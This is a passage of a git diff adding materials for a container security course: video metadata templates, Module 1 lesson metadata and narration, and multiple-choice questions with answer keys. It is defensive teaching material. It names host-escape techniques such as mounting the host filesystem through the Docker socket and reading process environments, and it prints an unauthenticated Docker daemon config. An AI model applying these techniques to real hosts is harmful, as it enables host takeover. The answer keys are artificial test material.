Security contexts
+
Network policies
+
Image scanning (Trivy/Grype)
+
Image signing (Cosign)
+
Runtime monitoring (Falco)
+
+

Key Takeaway: Kubernetes security requires policy enforcement, supply chain validation, and continuous runtime monitoring to prevent and detect threats.

+
+ +
+

🔧 Hands-On Lab Highlights

+ +
+
+ +
+

Course Approach & Methodology

+ +
+

💡 100% Practical, Zero Fluff

+

Every concept is immediately followed by a demonstration or hands-on lab. No PowerPoint-only lectures—you'll see attacks in action and implement defenses yourself.

+
+ +

Content Mix:

+ + +

Progressive Complexity: Start with fundamentals, build to advanced techniques. Each module builds on previous knowledge, creating a cohesive learning path.

+ +

Real-World Focus: All examples based on actual CVEs, production scenarios, and documented attack patterns. Learn what actually matters in production environments.

+
+ +
+ +
+

Technical Requirements

+ +
+

💻 Lab Environment

+ +
+ +

All necessary vulnerable containers, sample profiles, and validation scripts are provided.

+
+ +
+

Learning Outcomes

+

By the end of this course, you will be able to:

+ +
+ +
+

Beyond the Course

+

Container security is an evolving field. This course provides not just current best practices, but the foundational knowledge to adapt as new threats emerge. You'll learn:

+ + +
+

🎓 Assessment & Certification

+

The course includes:

+ +
+
+ + + + diff --git a/container-security-course/course_summary.pdf b/container-security-course/course_summary.pdf new file mode 100644 index 0000000..2ed749a Binary files /dev/null and b/container-security-course/course_summary.pdf differ diff --git a/container-security-course/metadata_template.docx b/container-security-course/metadata_template.docx new file mode 100644 index 0000000..6d2d544 Binary files /dev/null and b/container-security-course/metadata_template.docx differ diff --git a/container-security-course/metadata_template.md b/container-security-course/metadata_template.md new file mode 100644 index 0000000..5cbbf02 --- /dev/null +++ b/container-security-course/metadata_template.md @@ -0,0 +1,426 @@ +# Video Metadata Template +## Container Security Course - Video Description Standard + +This template provides the structure for all video metadata in the course. Each video should have complete, searchable, and informative metadata to enhance discoverability and student experience. + +--- + +## Template Structure + +### Video Title Format +``` +Module [NUMBER]: [DESCRIPTIVE TITLE] | Container Security Course +``` + +**Examples:** +- `Module 3.1: Introduction to Seccomp | Container Security Course` +- `Module 3.2: Creating Custom Seccomp Profiles | Container Security Course` +- `Module 3.3: Advanced Seccomp Troubleshooting | Container Security Course` + +--- + +## Complete Metadata Template + +```yaml +# ============================================ +# VIDEO METADATA +# ============================================ + +# Basic Information +video_id: "M[module]V[video]" # Example: M3V1, M3V2, M3V3 +module_number: [number] # Example: 3 +video_number: [number] # Example: 1 +title: "[Full Video Title]" # See title format above +short_title: "[Concise Title]" # Example: "Intro to Seccomp" + +# Duration & Technical Specs +duration_minutes: [number] # Example: 13 +duration_formatted: "[MM:SS]" # Example: "13:24" +resolution: "1920x1080" # Always Full HD +frame_rate: "30" # 30 FPS constant +file_format: "MP4" # Standard format + +# Content Classification +difficulty_level: "[Easy/Medium/Hard]" # Based on module progression +content_type: "[Theory/Demo/Lab/Mixed]" # Primary content focus +screen_mix: # Percentage breakdown + powerpoint: "[0-100]%" # Slides and diagrams + terminal: "[0-100]%" # CLI and command execution + code_editor: "[0-100]%" # VS Code, file editing + browser: "[0-100]%" # Documentation, web tools + +# Description (200-300 words) +description: | + [2-3 sentence hook explaining what problem this video solves] + + [1 paragraph overview of what students will learn] + + [Bullet points of key topics covered] + + [Call-to-action: what students should do after watching] + +# Learning Objectives (3-5 specific, measurable objectives) +learning_objectives: + - "Explain [concept] and its role in [context]" + - "Demonstrate [skill] using [tool/technique]" + - "Analyze [scenario] to identify [issue]" + - "Create [artifact] following [best practices]" + - "Troubleshoot [problem] using [methodology]" + +# Prerequisites +prerequisites: + knowledge: + - "[Previous module or concept]" + - "[Required background knowledge]" + technical: + - "[Software/tools needed]" + - "[Environment setup requirements]" + optional: + - "[Helpful but not required background]" + +# Keywords (for searchability) +keywords: + primary: ["[main topic]", "[key technology]", "[core concept]"] + secondary: ["[related tool]", "[related technique]", "[use case]"] + seo: ["[common search term]", "[alternative phrasing]"] + +# Hands-On Components +labs: + - lab_id: "[Lab number]" + title: "[Lab title]" + duration: "[minutes]" + difficulty: "[Easy/Medium/Hard]" + validation: "[automated/manual/both]" + +# Resources & Files +resources: + slides: "[filename.pptx]" + code_samples: + - "[filename]" + documentation: + - title: "[Doc title]" + url: "[URL]" + tools_demonstrated: + - name: "[Tool name]" + version: "[version]" + download_url: "[URL]" + +# Timestamps (major sections for video chapters) +timestamps: + - time: "00:00" + title: "[Section title]" + description: "[Brief description]" + - time: "[MM:SS]" + title: "[Section title]" + description: "[Brief description]" + +# Assessment +quiz_questions: [number] # Number of MCQs for this video +passing_score: [percentage] # Example: 75 + +# Versioning & Updates +version: "1.0" +date_created: "YYYY-MM-DD" +last_updated: "YYYY-MM-DD" +changelog: + - version: "1.0" + date: "YYYY-MM-DD" + changes: "Initial release" + +# Accessibility +captions: true # Always true +transcript_available: true # Always true +audio_description: false # Optional +sign_language: false # Optional + +# Notes for Instructors +instructor_notes: | + [Any special considerations for delivering this content] + [Common student questions or confusion points] + [Suggested discussion topics] + [Alternative examples or variations] + +# Related Content +previous_video: "[Module X.Y: Title]" +next_video: "[Module X.Y: Title]" +related_videos: + - "[Module X.Y: Related topic]" +``` + +--- + +## Example: Completed Metadata (Module 3, Video 1) + +```yaml +# ============================================ +# VIDEO METADATA - Module 3, Video 1 +# ============================================ + +# Basic Information +video_id: "M3V1" +module_number: 3 +video_number: 1 +title: "Module 3.1: Introduction to Seccomp | Container Security Course" +short_title: "Intro to Seccomp" + +# Duration & Technical Specs +duration_minutes: 13 +duration_formatted: "13:24" +resolution: "1920x1080" +frame_rate: "30" +file_format: "MP4" + +# Content Classification +difficulty_level: "Medium" +content_type: "Mixed" +screen_mix: + powerpoint: "25%" + terminal: "45%" + code_editor: "25%" + browser: "5%" + +# Description +description: | + Containers share the host kernel, which means a compromised container could + potentially exploit kernel vulnerabilities. What if you could prevent containers + from even making dangerous system calls? That's exactly what Seccomp does. + + In this video, you'll learn how Seccomp (Secure Computing Mode) filters system + calls at the kernel level, dramatically reducing attack surface. We'll explore + Docker's default Seccomp profile, see live demonstrations of blocked vs. allowed + syscalls, and examine how Seccomp enforcement works in practice. + + Topics covered: + • How Seccomp filters syscalls between user space and kernel + • The difference between containers with and without Seccomp + • Analyzing Docker's default Seccomp profile (JSON structure) + • Viewing active Seccomp profiles using /proc filesystem + • Understanding syscall blocking actions (ALLOW, ERRNO, KILL, LOG) + • Real-world examples of dangerous syscalls blocked by default + + After this video, complete Lab 3.1 to experiment hands-on with Seccomp + restrictions and see how blocked syscalls affect container behavior. + +# Learning Objectives +learning_objectives: + - "Explain how Seccomp filters system calls at the kernel level" + - "Analyze and interpret the default Docker Seccomp profile structure" + - "Demonstrate the difference between containers with and without Seccomp" + - "Identify which syscalls are blocked by Docker's default profile and why" + - "Use /proc filesystem to verify Seccomp enforcement status" + +# Prerequisites +prerequisites: + knowledge: + - "Module 1: Container Security Fundamentals (privileged containers, capabilities)" + - "Module 2: Container Attack Vectors (kernel exploits, container escapes)" + - "Basic understanding of Linux system calls" + technical: + - "Docker 20.10+ installed" + - "Ubuntu 20.04+ or similar Linux distribution" + - "Terminal access with root/sudo privileges" + optional: + - "Familiarity with JSON syntax" + - "Basic kernel architecture knowledge" + +# Keywords +keywords: + primary: ["seccomp", "system call filtering", "container security", "kernel security"] + secondary: ["docker security", "syscall", "linux security", "sandbox", "attack surface reduction"] + seo: ["what is seccomp", "docker seccomp profile", "container syscall filtering", + "seccomp tutorial", "how seccomp works"] + +# Hands-On Components +labs: + - lab_id: "3.1" + title: "Exploring Default Seccomp Behavior" + duration: "15" + difficulty: "Easy" + validation: "automated" + +# Resources & Files +resources: + slides: "slides_module3_video1.pptx" + code_samples: + - "default-seccomp-profile.json" + documentation: + - title: "Docker Seccomp Documentation" + url: "https://docs.docker.com/engine/security/seccomp/" + - title: "Linux Seccomp Manual" + url: "https://man7.org/linux/man-pages/man2/seccomp.2.html" + - title: "Docker Default Seccomp Profile (GitHub)" + url: "https://github.com/moby/moby/blob/master/profiles/seccomp/default.json" + tools_demonstrated: + - name: "Docker" + version: "24.0+" + download_url: "https://docs.docker.com/engine/install/" + - name: "unshare" + version: "util-linux 2.36+" + download_url: "Built-in to most Linux distributions" + +# Timestamps +timestamps: + - time: "00:00" + title: "Introduction & Module Overview" + description: "Course context and what you'll learn in this module" + - time: "01:30" + title: "What is Seccomp?" + description: "Syscall filtering fundamentals and kernel architecture" + - time: "04:00" + title: "Live Demo: With vs Without Seccomp" + description: "Comparing unconfined containers to default Seccomp" + - time: "06:30" + title: "Docker Default Profile Deep Dive" + description: "Analyzing the JSON structure and blocked syscalls" + - time: "09:30" + title: "Viewing Active Profiles" + description: "Using /proc filesystem to verify Seccomp status" + - time: "11:30" + title: "Lab 3.1 Introduction" + description: "Hands-on exercise overview" + - time: "12:30" + title: "Wrap-Up & Key Takeaways" + description: "Summary and preview of next video" + +# Assessment +quiz_questions: 3 +passing_score: 66 + +# Versioning & Updates +version: "1.0" +date_created: "2026-07-01" +last_updated: "2026-07-01" +changelog: + - version: "1.0" + date: "2026-07-01" + changes: "Initial release" + +# Accessibility +captions: true +transcript_available: true +audio_description: false +sign_language: false + +# Notes for Instructors +instructor_notes: | + Students often confuse Seccomp with capabilities or AppArmor. Emphasize that + Seccomp operates specifically at the syscall boundary, while capabilities control + privileged operations and AppArmor controls file/network access. + + Common questions: + - "Why doesn't Docker block ALL syscalls except a whitelist?" → Explain backward + compatibility concerns and the need to support diverse applications. + - "Can Seccomp be bypassed?" → No, it's enforced by the kernel; but emphasize + defense in depth. + + The unshare demonstration is particularly impactful—practice timing the comparison + between unconfined and default profiles for maximum effect. + + If time permits, mention that Kubernetes uses the RuntimeDefault profile which + maps to Docker/containerd defaults. + +# Related Content +previous_video: "Module 2.3: Insecure Configurations and DoS Attacks" +next_video: "Module 3.2: Creating Custom Seccomp Profiles" +related_videos: + - "Module 2.1: Container Escape Techniques" + - "Module 4.1: AppArmor Fundamentals" +``` + +--- + +## Metadata Usage Guidelines + +### For Video Platforms (YouTube, Vimeo, etc.): +- **Title:** Use the full title format +- **Description:** Use the description field, convert YAML to readable paragraphs +- **Tags:** Use all keywords (primary + secondary + SEO) +- **Chapters:** Use timestamps to create YouTube chapters +- **Playlist:** Group by module + +### For Learning Management Systems (LMS): +- **Title:** Use short_title for menu items +- **Duration:** Display duration_formatted +- **Prerequisites:** Show as expandable section before video +- **Learning Objectives:** Display prominently at the top +- **Resources:** Provide download links +- **Quiz:** Integrate quiz_questions count and passing_score + +### For Course Marketing: +- **Difficulty Level:** Help students self-assess readiness +- **Content Type:** Set expectations (theory vs. hands-on) +- **Screen Mix:** Demonstrate practical nature of content +- **Keywords (SEO):** Use for course landing page optimization + +### For Accessibility: +- Always include captions and transcripts +- Ensure instructor_notes mention any visual-only content that needs verbal description +- Consider providing transcript PDFs for offline study + +--- + +## Metadata Maintenance + +### When to Update: +- **Minor version (1.0 → 1.1):** Typo fixes, small clarifications, updated URLs +- **Major version (1.0 → 2.0):** Significant content changes, new demos, restructuring + +### Update Checklist: +- [ ] Update `last_updated` date +- [ ] Add entry to `changelog` +- [ ] Increment `version` appropriately +- [ ] Update `related_videos` if dependencies change +- [ ] Review `prerequisites` for accuracy +- [ ] Verify all `resources` URLs are still valid + +### Consistency Requirements: +- All videos in a module should use consistent keyword themes +- Duration estimates should be accurate within ±1 minute +- Learning objectives should align with quiz questions +- Prerequisites should form a logical progression + +--- + +## Template Files Provided + +For instructor convenience, the following template files are included: + +1. **metadata_template_blank.yaml** - Empty template ready to fill +2. **metadata_example_complete.yaml** - Full example (Module 3 Video 1) +3. **metadata_validation_schema.json** - JSON schema for automated validation +4. **generate_metadata.py** - Python script to assist in bulk metadata generation + +### Using the Python Generator: +```bash +python3 generate_metadata.py \ + --module 3 \ + --video 2 \ + --title "Creating Custom Seccomp Profiles" \ + --duration 15 \ + --output metadata_m3v2.yaml +``` + +This generates a pre-filled template that you can then customize with specific details. + +--- + +## Quality Checklist + +Before finalizing video metadata, verify: + +- [ ] All required fields are populated +- [ ] Description is 200-300 words and engaging +- [ ] Learning objectives are specific and measurable (use action verbs) +- [ ] Keywords include both technical terms and search phrases +- [ ] Timestamps cover all major sections +- [ ] Prerequisites accurately reflect required knowledge +- [ ] Resources have valid, working URLs +- [ ] Screen mix percentages add up to ~100% +- [ ] Related videos exist and links are correct +- [ ] Instructor notes include anticipated student questions + +--- + +**Last Updated:** 2026-07-01 +**Version:** 1.0 +**Maintained By:** Course Production Team diff --git a/container-security-course/metadata_template.pdf b/container-security-course/metadata_template.pdf new file mode 100644 index 0000000..027f602 Binary files /dev/null and b/container-security-course/metadata_template.pdf differ diff --git a/container-security-course/module_01_fundamentals/metadata.docx b/container-security-course/module_01_fundamentals/metadata.docx new file mode 100644 index 0000000..f36a9ca Binary files /dev/null and b/container-security-course/module_01_fundamentals/metadata.docx differ diff --git a/container-security-course/module_01_fundamentals/metadata.md b/container-security-course/module_01_fundamentals/metadata.md new file mode 100644 index 0000000..4fcadb0 --- /dev/null +++ b/container-security-course/module_01_fundamentals/metadata.md @@ -0,0 +1,132 @@ +# Module 1: Container Security Fundamentals — Complete Metadata + +--- + +## Module Overview + +| Field | Value | +|-------|-------| +| **Module Number** | 1 | +| **Module Title** | Container Security Fundamentals | +| **Total Duration** | ~34:30 (including module summary) | +| **Number of Videos** | 5 lessons + 1 module summary | +| **Difficulty Level** | Beginner–Intermediate | +| **Assessment** | 3 module MCQs + 2 final assessment MCQs | + +--- + +## Module Summary Video + +| Field | Value | +|-------|-------| +| **Title** | Module 1 Overview: Container Security Fundamentals | +| **File** | `module_summary_script.md` | +| **Duration** | 2:30 | +| **Description** | Introduces the module objectives, explains why container security fundamentals matter, lists prerequisites, and previews what students will be able to do after completing all five lessons. | +| **Learning Objectives** | Understand the module scope; Identify prerequisites; Preview key skills to be acquired | +| **Prerequisites** | None (module entry point) | +| **Resources** | Course syllabus, Lab environment setup guide | +| **Screen Mix** | PPT 75%, Terminal 15%, Browser 10% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 1.1: Container Architecture and Isolation + +| Field | Value | +|-------|-------| +| **Title** | Container Architecture and Isolation from a Security Perspective | +| **File** | `video_01_script.md` | +| **Duration** | 8:00 | +| **Description** | Examines container technology at the kernel level — namespaces for visibility isolation, cgroups for resource control, and layered filesystems for storage. Includes hands-on demonstrations of building container isolation using `unshare`, inspecting namespaces via `/proc`, and examining cgroup enforcement. Demonstrates the security risk of data persistence in image layers. | +| **Learning Objectives** | 1. Explain how namespaces, cgroups, and overlay filesystems provide container isolation; 2. Create isolated process environments using `unshare`; 3. Inspect namespace boundaries using `/proc/[pid]/ns/` and `lsns`; 4. Identify the security risk of data persistence in container image layers | +| **Prerequisites** | Basic Linux command line proficiency | +| **Resources** | `man unshare`, `man namespaces`, `man cgroups`, Docker documentation on storage drivers | +| **Key Commands** | `unshare`, `lsns`, `ls /proc/[pid]/ns/`, `docker inspect`, `cat /sys/fs/cgroup/...`, `docker save`, `docker history` | +| **Screen Mix** | PPT 30%, Terminal 45%, Code Editor 15%, Browser 10% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 1.2: Container vs. VM Security Models + +| Field | Value | +|-------|-------| +| **Title** | Container vs. VM Security Models | +| **File** | `video_02_script.md` | +| **Duration** | 7:00 | +| **Description** | Compares container and virtual machine architectures from a security perspective. Demonstrates that all containers share the host kernel regardless of base image. Analyzes real CVEs (VENOM for VM escape, CVE-2019-5736 for container escape) to illustrate complexity differences. Provides a security decision matrix for choosing appropriate isolation technology. | +| **Learning Objectives** | 1. Compare attack surfaces of containers vs. VMs across six dimensions; 2. Demonstrate the shared kernel using multi-distribution container testing; 3. Analyze historical escape CVEs and their complexity; 4. Apply a decision matrix for isolation technology selection | +| **Prerequisites** | Video 1.1 | +| **Resources** | NVD entries for CVE-2019-5736, CVE-2015-3456; CNCF Container Security whitepaper | +| **Key Commands** | `uname -r`, `docker run`, `dmesg`, `lsmod`, `cat /proc/version`, `cat /proc/cpuinfo` | +| **Screen Mix** | PPT 35%, Terminal 35%, Browser 20%, Code Editor 10% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 1.3: The Shared Kernel Problem + +| Field | Value | +|-------|-------| +| **Title** | The Shared Kernel Problem | +| **File** | `video_03_script.md` | +| **Duration** | 7:00 | +| **Description** | Deep-dives into the shared kernel as the primary container security risk. Quantifies the system call attack surface, analyzes CVE-2022-0185 as a case study, demonstrates cross-container visibility from the host perspective, and explains how kernel modules bypass all container isolation. Introduces mitigation strategies covered in later modules. | +| **Learning Objectives** | 1. Quantify the system call attack surface available to containers; 2. Analyze a real kernel CVE and its container impact; 3. Demonstrate cross-container information exposure via the host; 4. Explain how kernel modules bypass container isolation; 5. Enumerate available mitigations and their limitations | +| **Prerequisites** | Videos 1.1, 1.2 | +| **Resources** | NVD entry for CVE-2022-0185; Linux syscall table reference; Docker default Seccomp profile | +| **Key Commands** | `ausyscall --dump`, `docker inspect`, `cat /proc/[pid]/environ`, `nsenter`, `lsmod` | +| **Screen Mix** | PPT 25%, Terminal 40%, Code Editor 20%, Browser 15% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 1.4: Docker Security Basics and Daemon Configuration + +| Field | Value | +|-------|-------| +| **Title** | Docker Security Basics and Daemon Configuration | +| **File** | `video_04_script.md` | +| **Duration** | 8:00 | +| **Description** | Examines Docker-specific security: daemon architecture, socket permissions, and configuration hardening. Demonstrates that Docker socket access equals root access. Compares insecure and hardened daemon.json configurations. Shows Shodan results for exposed Docker daemons. Covers default capability analysis, Docker Content Trust, and automated auditing with Docker Bench for Security. | +| **Learning Objectives** | 1. Explain why Docker socket access is equivalent to root access; 2. Audit and harden the Docker daemon configuration file; 3. Identify exposed Docker daemons using Shodan; 4. Analyze and minimize default Linux capabilities; 5. Configure Docker Content Trust for supply-chain security; 6. Run Docker Bench for Security and interpret results | +| **Prerequisites** | Videos 1.1–1.3 | +| **Resources** | CIS Docker Benchmark; Docker daemon configuration reference; Docker Content Trust documentation | +| **Key Commands** | `ls -la /var/run/docker.sock`, `docker run -v /:/hostfs`, `capsh --decode`, `docker trust`, Docker Bench for Security | +| **Screen Mix** | PPT 20%, Terminal 35%, Code Editor 30%, Browser 15% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 1.5: Container Attack Surface Mapping + +| Field | Value | +|-------|-------| +| **Title** | Container Attack Surface Mapping | +| **File** | `video_05_script.md` | +| **Duration** | 7:00 | +| **Description** | Maps the complete container attack surface across five layers: application, image, runtime, orchestration, and host/kernel. Demonstrates application-level attacks using DVWA, image vulnerability scanning with Trivy, identifies dangerous `docker run` flags, discusses supply chain attack vectors, and previews Kubernetes attack surface. Provides a comprehensive security checklist for the module. | +| **Learning Objectives** | 1. Map the five-layer container attack surface model; 2. Scan container images for vulnerabilities using Trivy; 3. Identify dangerous Docker runtime flags and their secure alternatives; 4. Describe container supply chain attack vectors; 5. Recognize orchestration-layer security concerns | +| **Prerequisites** | Videos 1.1–1.4 | +| **Resources** | Trivy documentation; OWASP Container Security guide; Docker security best practices; MITRE ATT&CK for Containers | +| **Key Commands** | `trivy image`, `docker run` (various flags), Trivy filesystem scanning | +| **Screen Mix** | PPT 25%, Terminal 35%, Browser 25%, Code Editor 15% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Technical Production Requirements + +| Requirement | Specification | +|-------------|--------------| +| Resolution | 1920x1080 Full HD | +| Frame Rate | 30fps constant | +| Terminal Theme | Dark (Dracula or One Dark), 150% zoom | +| Code Editor | VS Code, 150% zoom, max 20–22 lines visible | +| PPT Slides | Maximized, 150% for readability | +| Browser | Chromium/Chrome, 150% zoom, pre-loaded pages | +| Screen Mix (Module Avg) | Terminal 38%, PPT 27%, Code Editor 18%, Browser 17% | +| Host OS | Ubuntu 22.04 LTS | +| Docker Version | 24.x+ with Docker Compose v2 | +| Pre-pulled Images | alpine, ubuntu:22.04, centos:7, nginx, nginx:alpine, vulnerables/web-dvwa, aquasec/trivy, docker/docker-bench-security | diff --git a/container-security-course/module_01_fundamentals/metadata.pdf b/container-security-course/module_01_fundamentals/metadata.pdf new file mode 100644 index 0000000..a40eed3 Binary files /dev/null and b/container-security-course/module_01_fundamentals/metadata.pdf differ diff --git a/container-security-course/module_01_fundamentals/module_summary_script.docx b/container-security-course/module_01_fundamentals/module_summary_script.docx new file mode 100644 index 0000000..cf67464 Binary files /dev/null and b/container-security-course/module_01_fundamentals/module_summary_script.docx differ diff --git a/container-security-course/module_01_fundamentals/module_summary_script.md b/container-security-course/module_01_fundamentals/module_summary_script.md new file mode 100644 index 0000000..00948f6 --- /dev/null +++ b/container-security-course/module_01_fundamentals/module_summary_script.md @@ -0,0 +1,94 @@ +# Module 1: Container Security Fundamentals — Module Summary Script + +**Duration:** 2:30 +**Format:** Mixed (PPT slides + terminal teaser + browser) +**Purpose:** Module overview and orientation + +--- + +## SCRIPT BEGIN + +### [0:00–0:20] — Opening / Hook (PPT Slide: Title Slide) + +**SLIDE:** *Module 1: Container Security Fundamentals* — Course logo, module number badge, subtitle: "Understanding What You're Defending" + +**NARRATION:** +"Welcome to Module 1 of the Container Security Masterclass. In this module, we're going to take apart container technology piece by piece — not from a DevOps perspective, but from a security perspective. By the end, you'll understand exactly what a container is at the kernel level, where the security boundaries actually are, and where they break down." + +--- + +### [0:20–0:55] — What You'll Learn (PPT Slide: Learning Objectives) + +**SLIDE:** Bullet list with icons: +- Container architecture from a security lens +- Linux namespaces and cgroups — the real isolation +- Container vs. VM security models +- The shared kernel problem +- Docker daemon attack surface +- Container threat landscape overview + +**NARRATION:** +"Here's what we'll cover across five lessons. First, we'll look at container architecture — not how to use Docker, but how containers actually isolate processes using Linux namespaces and cgroups. Then we'll compare container isolation to virtual machine isolation side by side, and you'll see exactly why containers have a fundamentally different — and in many ways weaker — security model. We'll dig into the shared kernel problem — the single biggest architectural risk in container deployments. Then we'll move to Docker-specific security: the daemon, its configuration, and common misconfigurations that lead to full host compromise. Finally, we'll map the complete container attack surface so you know exactly what adversaries target." + +--- + +### [0:55–1:25] — Why It Matters (PPT Slide: Real-World Context) + +**SLIDE:** Headline: "Why This Matters" — Statistics: +- 87% of organizations run containerized workloads (2024 CNCF Survey) +- 76% of container images contain known vulnerabilities (Sysdig Report) +- Average time to exploit a misconfigured container: under 5 minutes + +**NARRATION:** +"Why does this matter? Because containers are everywhere — 87 percent of organizations now run containerized workloads in production. But here's the problem: 76 percent of container images in the wild contain known vulnerabilities. And a misconfigured container? An attacker can go from initial access to full host compromise in under five minutes. We'll prove that in later modules. But first, you need the fundamentals — because without understanding how container isolation actually works, you can't evaluate whether it's working correctly." + +--- + +### [1:25–1:55] — Prerequisites (PPT Slide: Prerequisites) + +**SLIDE:** Two columns: +*Required:* Basic Linux command line, understanding of processes and filesystems +*Helpful but not required:* Prior Docker experience, basic networking concepts + +**NARRATION:** +"To get the most from this module, you should be comfortable with the Linux command line — things like navigating the filesystem, running commands as root, and reading process listings. If you've used Docker before, that helps, but it's not required — we'll cover everything from the ground up. We'll also touch on networking concepts, but nothing beyond what we'll explain in context." + +--- + +### [1:55–2:15] — What You'll Be Able To Do (PPT Slide: Outcomes) + +**SLIDE:** Checklist with green checkmarks: +- ✅ Inspect container isolation boundaries using Linux tools +- ✅ Identify misconfigured Docker daemon settings +- ✅ Explain the shared kernel risk to stakeholders +- ✅ Map the attack surface of a containerized application +- ✅ Evaluate whether a container deployment meets security baselines + +**NARRATION:** +"After completing this module, you'll be able to inspect container isolation boundaries directly using Linux tools — no Docker CLI abstractions. You'll know how to audit a Docker daemon configuration for dangerous settings. You'll be able to clearly explain the shared kernel risk to both technical and non-technical stakeholders. And you'll have a mental map of the entire container attack surface that you'll carry through the rest of this course." + +--- + +### [2:15–2:30] — Transition (Terminal Teaser) + +**SCREEN:** Quick terminal flash showing: +```bash +$ unshare --mount --uts --ipc --net --pid --fork bash +# hostname container-demo +# echo $$ +1 +``` + +**NARRATION:** +"Let's get started. In the first lesson, we're going to build a container from scratch — using nothing but Linux system calls. No Docker, no runtime — just raw kernel features. Let's go." + +--- + +## SCRIPT END + +### Post-Production Notes +- Title slide should match course branding established in course summary +- Statistics on the "Why It Matters" slide should use animated count-up effect +- Terminal teaser at the end should be a brief 3-second clip, slightly sped up +- Background music: subtle, professional, fades out before terminal teaser +- Transition to Video 01 should be a hard cut after the terminal flash diff --git a/container-security-course/module_01_fundamentals/module_summary_script.pdf b/container-security-course/module_01_fundamentals/module_summary_script.pdf new file mode 100644 index 0000000..06a4745 Binary files /dev/null and b/container-security-course/module_01_fundamentals/module_summary_script.pdf differ diff --git a/container-security-course/module_01_fundamentals/questions.docx b/container-security-course/module_01_fundamentals/questions.docx new file mode 100644 index 0000000..33b645a Binary files /dev/null and b/container-security-course/module_01_fundamentals/questions.docx differ diff --git a/container-security-course/module_01_fundamentals/questions.md b/container-security-course/module_01_fundamentals/questions.md new file mode 100644 index 0000000..b8f41a2 --- /dev/null +++ b/container-security-course/module_01_fundamentals/questions.md @@ -0,0 +1,87 @@ +# Module 1: Container Security Fundamentals — Assessment Questions + +--- + +## Module-Level Assessment (3 MCQs) + +### Question 1: Namespace Isolation + +A security analyst discovers that a container process running as PID 1 inside its namespace is visible as PID 4521 on the host. The analyst also observes that the container's `/proc/1/ns/pid` inode differs from the host's `/proc/1/ns/pid` inode. What does this indicate? + +**A)** The container is running in privileged mode and has bypassed PID isolation +**B)** The container is in a separate PID namespace; its PID 1 maps to a different PID on the host, confirming process ID isolation is active +**C)** The container has a kernel-level hypervisor providing hardware-based isolation +**D)** The container's PID namespace is misconfigured and leaking process information to the host + +**Correct Answer:** B + +**Explanation:** Linux PID namespaces provide process ID isolation — a process that appears as PID 1 inside its namespace is mapped to a different PID (e.g., 4521) on the host. Different inode numbers for the `/proc/[pid]/ns/pid` symlinks confirm that the processes are in separate PID namespaces. This is normal, expected behavior — not a misconfiguration. The host can always see containerized processes (containers are just processes), but the container cannot see host processes. Privileged mode (A) does not change PID namespace behavior. Containers do not use hypervisors (C). + +--- + +### Question 2: Docker Daemon Security + +During a security audit, you discover the following in `/etc/docker/daemon.json`: +```json +{ + "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"], + "icc": true +} +``` +Which of the following represents the MOST critical security risk in this configuration? + +**A)** Inter-container communication (ICC) being enabled, allowing containers to send traffic to each other +**B)** The Docker daemon listening on TCP port 2375 on all interfaces without TLS, which provides unauthenticated root-equivalent access to anyone who can reach the port +**C)** Using a Unix socket for local communication, which could be exploited by local users +**D)** The absence of resource limits in the daemon configuration, exposing the host to denial-of-service attacks + +**Correct Answer:** B + +**Explanation:** Exposing the Docker daemon on `tcp://0.0.0.0:2375` without TLS authentication is the most critical risk. Port 2375 is the unauthenticated Docker API port. Anyone who can reach it over the network — including from the internet if the host is publicly accessible — can execute arbitrary Docker commands, including running privileged containers with the host filesystem mounted. This is functionally equivalent to unauthenticated root access. While ICC enabled (A) is a concern for lateral movement, and Unix socket access (C) requires local access, the TCP exposure is remote and unauthenticated, making it categorically more severe. Resource limits (D) are a best practice but are not configured in daemon.json for individual containers. + +--- + +### Question 3: Shared Kernel Risk + +Your organization runs 15 containers across 3 hosts. A critical Linux kernel vulnerability (CVE) is announced that allows privilege escalation from an unprivileged process to root. Which statement BEST describes the impact and required response? + +**A)** Only containers running as root are affected; containers running as non-root users are safe and no patching is needed for them +**B)** All 15 containers across all 3 hosts are potentially vulnerable because they share the host kernel; all 3 hosts must be patched and rebooted regardless of container configuration +**C)** Rebuilding and redeploying container images with updated base images is sufficient to remediate the vulnerability +**D)** Applying a Seccomp profile to all containers will fully mitigate the kernel vulnerability without requiring a host kernel patch + +**Correct Answer:** B + +**Explanation:** Containers share the host kernel. A kernel vulnerability affects every process running on that kernel — including all containers, regardless of their configuration, user, or capabilities. Patching requires updating the host kernel and rebooting the host (or using live patching where supported). Non-root containers (A) may be harder to exploit but are not inherently safe from a kernel privilege escalation vulnerability. Rebuilding container images (C) only changes the userspace; it does not change the kernel. Seccomp profiles (D) can reduce the attack surface by blocking certain system calls, but cannot patch a vulnerability in a system call that must remain available. + +--- + +## Final Assessment Contribution (2 Comprehensive MCQs) + +### Final Question 1: Defense-in-Depth Scenario + +You are designing a container security architecture for a financial services company that processes credit card data (PCI-DSS scope). The application uses microservices deployed in Docker containers on shared hosts. Which combination of controls provides the MOST comprehensive security posture? + +**A)** Use privileged containers with AppArmor profiles, enable Docker Content Trust, and scan images weekly +**B)** Run containers with `--cap-drop=ALL`, enable user namespaces, deploy on VMs with one trust zone per VM, enforce Seccomp profiles, scan images in CI/CD pipeline, and use mutual TLS between services +**C)** Use Kubernetes with default pod security settings, enforce network policies, and run all containers as non-root +**D)** Deploy gVisor as the container runtime on bare metal, disable Seccomp (since gVisor provides its own kernel), and rely on image scanning for vulnerability management + +**Correct Answer:** B + +**Explanation:** Option B implements defense-in-depth across multiple layers: dropping all capabilities reduces the syscall attack surface, user namespaces map container root to an unprivileged host user, VM-level isolation between trust zones satisfies PCI-DSS segmentation requirements, Seccomp profiles restrict system calls, CI/CD image scanning catches vulnerabilities before deployment, and mutual TLS secures service-to-service communication. Option A contradicts itself — privileged containers bypass AppArmor's protections. Option C relies on Kubernetes defaults which are insufficiently restrictive for PCI-DSS. Option D disables Seccomp, removing a valuable defense layer, and bare metal without VM isolation is unlikely to satisfy PCI-DSS segmentation requirements. + +--- + +### Final Question 2: Attack Surface Analysis + +An attacker has gained command execution inside a container through a web application vulnerability. The container is running with default Docker settings (no additional hardening). Which of the following attack paths is MOST likely to succeed for the attacker to escalate to host-level access? + +**A)** Exploiting a vulnerability in the container's PID namespace to directly access host processes, since PID namespaces have known bypass techniques +**B)** Using the 14 default Linux capabilities and access 